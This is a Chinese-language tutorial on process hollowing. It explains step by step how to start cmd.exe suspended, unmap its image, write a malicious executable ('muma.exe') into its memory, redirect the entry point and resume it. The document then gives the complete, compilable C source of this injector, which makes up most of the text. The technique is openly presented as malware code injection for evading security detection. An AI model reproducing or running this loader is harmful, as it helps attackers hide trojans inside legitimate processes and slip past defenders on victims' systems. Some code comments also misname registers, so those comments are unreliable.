进程镂空注入(傀儡进程)

简介

进程镂空（Process Hollowing），又称为“傀儡进程”，是一种恶意软件（malware）利用的代码注入技术。它主要用于将恶意代码注入到合法进程中，以规避安全检测、提高恶意代码执行的隐蔽性和稳定性

实现思路

1.创建挂起进程

创建一个新的目标进程（这里是cmd.exe），并将其创建为挂起状态，这样它的主线程不会立即执行

BOOL bRet = CreateProcessA(
    NULL,
    (LPSTR)"cmd",
    NULL,
    NULL,
    FALSE,
    CREATE_SUSPENDED,
    NULL,
    NULL,
    &si,
    &pi);

2.读取恶意程序的内容

//读取恶意程序的内容至本进程内存中
hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
CloseHandle(hFile);

//获取恶意程序的文件头信息(Dos头和Nt头)
pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;  //获取Dos头
pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头

3.获取挂起进程的线程上下文和映像基址

在挂起创建的进程中，EBX（在x86架构下）和RDX（在x64架构下）寄存器通常用于存储指向PEB（进程环境块）的指针。PEB是一个包含进程相关信息的数据结构，例如映像基地址、操作系统版本等。

//获取挂起进程的上下文
GetThreadContext(pi.hThread, &ctx); 
  
//获取可执行映像的基址
#ifdef _WIN64
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
    // 从rbx寄存器中获取PEB地址，并从PEB中读取可执行映像的基址
#endif
    // 从ebx寄存器中获取PEB地址，并从PEB中读取可执行映像的基址
#ifdef _X86_
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif

4.卸载挂起进程的内存

如果挂起进程的映像基址和恶意程序的映像基址相同，则调用NtUnmapViewOfSection卸载原始进程映像

//判断文件预期加载地址是否被占用
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
{
    NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
}

5.将恶意程序内容写入目标进程

先将恶意程序的头部信息写入目标进程，随后逐节将恶意程序的各个节写入

//为可执行映像分配内存,并写入文件头
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

//逐段写入
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
}

6.更新目标进程的线程上下文

将程序计数器（EAX/RAX 或 ECX/RCX 寄存器）设置为替换映像的入口点地址，并更新目标进程PEB中的映像基地址

#ifdef _WIN64
    ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
#ifdef _X86_
    ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif

设置目标进程的线程上下文，使其使用新的上下文信息

SetThreadContext(pi.hThread, &ctx); // 设置线程上下文

7.恢复目标进程的主线程

ResumeThread(pi.hThread); // 恢复挂起线程

完整代码

#include <stdio.h>
#include <Windows.h>
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

int main(int argc, wchar_t* argv[])
{   
    // 定义变量和结构体
    IN PIMAGE_DOS_HEADER pDosHeaders;
    IN PIMAGE_NT_HEADERS pNtHeaders;
    IN PIMAGE_SECTION_HEADER pSectionHeaders;
    IN PVOID FileImage;
    IN HANDLE hFile;
    OUT DWORD FileReadSize;
    IN DWORD dwFileSize;
    IN PVOID RemoteImageBase;
    IN PVOID RemoteProcessMemory;
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    si.cb = sizeof(si);
   
    //用于替换的恶意程序
    char path[] = "E:\\muma.exe";
    
    // 创建挂起的cmd进程
    BOOL bRet = CreateProcessA(
        NULL,
        (LPSTR)"cmd",
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &si,
        &pi);
    
    //读取恶意程序的内容至本进程内存中
    hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
    FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
    CloseHandle(hFile);
    
    //获取恶意程序的文件头信息(Dos头和Nt头)
    pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;  //获取Dos头
    pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头
    
    //获取挂起进程的上下文
    GetThreadContext(pi.hThread, &ctx); 

    
 //获取挂起进程的映像基址
#ifdef _WIN64
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
    // 从rbx寄存器中获取PEB地址，并从PEB中读取可执行映像的基址
#endif
    // 从ebx寄存器中获取PEB地址，并从PEB中读取可执行映像的基址
#ifdef _X86_
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
    

    //判断文件预期加载地址是否被占用
    pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
    if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
    {
        NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
    }

    //为可执行映像分配内存,并写入文件头
    RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
    
    //逐段写入
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
    {
        pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
        WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
    }
    
    //将rax寄存器设置为注入软件的入口点
#ifdef _WIN64
    ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
    //将eax寄存器设置为注入软件的入口点
#ifdef _X86_
    ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
    /*
    lea eax
    call eax
    */
#endif
    SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
    ResumeThread(pi.hThread); // 恢复挂起线程
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

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